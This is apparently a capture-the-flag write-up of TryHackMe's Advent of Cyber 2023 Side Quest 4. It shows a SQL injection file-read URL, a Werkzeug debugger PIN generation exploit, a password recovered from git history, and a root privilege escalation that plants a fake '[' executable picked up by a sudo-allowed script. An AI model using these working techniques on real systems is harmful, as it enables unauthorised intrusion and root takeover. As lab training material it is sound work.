hubertf's Writeup on TryHackMe's Advent of Cyber 2023 Side Quest 4: The Bandit Surfer Hubert Feyrer, December 2023 |
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0) 8000/tcp open http-alt Werkzeug/3.0.0 Python/3.8.10
http://10.10.103.5:8000/ http://10.10.103.5:8000/download http://10.10.103.5:8000/console
$ printf %d\\n 0x`curl --no-progress-meter "http://10.10.149.37:8000/download?id=%27%20union%20select%20%27file:///sys/class/net/eth0/address%27;%20%E2%80%93" | grep : | sed 's,:,,g'` 3009961320453BE CAREFUL! The ethernet MAC changes for each restart of the VM, so this needs to be generated again!
When looking at the __init__.py code and the articles mentioned above, more information is used for constructing the private_bits information. This includes /proc/self/cgroup and /proc/sys/kernel/random/boot_id but in our case they are empty and things work for us.
% cat exploit.py ... from itertools import chain probably_public_bits = [ 'mcskidy',# HF username 'flask.app',# HF modname 'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__')) # HF '/home/mcskidy/.local/lib/python3.8/site-packages/flask/app.py' # getattr(mod, '__file__', None), # HF ] private_bits = [ '2348470078511',# HF: MAC from /sys/class/net/eth0/address - changes for VM restart! # str(uuid.getnode()), /sys/class/net/ens33/address 'aee6189caee449718070b58132f2e4ba' # HF: from /etc/machine-id # get_machine_id(), /etc/machine-id ] ... % python3 exploit.py 130-170-525
$ id uid=1000(mcskidy) gid=1000(mcskidy) groups=1000(mcskidy) $ sudo -l sudo -l [sudo] password for mcskidy:
app.config['MYSQL_USER'] = 'mcskidy' app.config['MYSQL_PASSWORD'] = 'fSXT8582GcMLmSt6' app.config['MYSQL_DB'] = 'elfimages'
$ git diff HEAD~2 HEAD~3 diff --git a/app.py b/app.py index 5765c7d..8d05622 100644 --- a/app.py +++ b/app.py @@ -10,7 +10,7 @@ app = Flask(__name__, static_url_path='/static') # MySQL configuration app.config['MYSQL_HOST'] = 'localhost' app.config['MYSQL_USER'] = 'mcskidy' -app.config['MYSQL_PASSWORD'] = 'fSXT8582GcMLmSt6' +app.config['MYSQL_PASSWORD'] = 'F**NO*HINTS**Z' app.config['MYSQL_DB'] = 'elfimages' mysql = MySQL(app)
$ sudo -l [sudo] password for mcskidy: F**NO*HINTS**Z Matching Defaults entries for mcskidy on proddb: env_reset, mail_badpass, secure_path=/home/mcskidy\:/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/u sr/bin\:/sbin\:/bin\:/snap/bin User mcskidy may run the following commands on proddb: (root) /usr/bin/bash /opt/check.sh $ sudo id Sorry, user mcskidy is not allowed to execute '/usr/bin/id' as root on proddb .
cat /opt/check.sh #!/bin/bash . /opt/.bashrc cd /home/mcskidy/ WEBSITE_URL="http://127.0.0.1:8000" response=$(/usr/bin/curl -s -o /dev/null -w "%{http_code}" $WEBSITE_URL) # Check the HTTP response code if [ "$response" == "200" ]; then /usr/bin/echo "Website is running: $WEBSITE_URL" else /usr/bin/echo "Website is not running: $WEBSITE_URL" fi
$ cd /home/mcskidy $ echo >./\[ "id ; whoami ; ls -la / ; ls -la /root" $ chmod +x \[ $ sudo /usr/bin/bash /opt/check.sh 127.0.0.1 - - [23/Dec/2023 16:18:43] "GET / HTTP/1.1" 200 - uid=0(root) gid=0(root) groups=0(root) root total 1521740 drwxr-xr-x 19 root root 4096 Mar 27 2023 . drwxr-xr-x 19 root root 4096 Mar 27 2023 .. lrwxrwxrwx 1 root root 7 Mar 14 2023 bin -> usr/bin drwxr-xr-x 4 root root 4096 Oct 19 05:05 boot ...
$ echo >./\[ "ls -la /root/root.txt ; cat /root/root.txt ; ls -la /root/yetikey4.txt ; cat /root/yetikey4.txt" $ sudo /usr/bin/bash /opt/check.sh -rw-r----- 1 root root 38 Oct 19 06:40 /root/root.txt ... -rw-r----- 1 root root 43 Dec 13 17:24 /root/yetikey4.txt ...
enable -n [ # ]My assumption that [ is an actual external command was pretty fast. In modern shells, it is usually a shell builtin (for speed reasons), and Linux' bash is no exception there. With the above command, this is disabled though, making bash really look for an external [ binary instead of a shell builtin. So, lucky me that my basic assumption just worked. :-)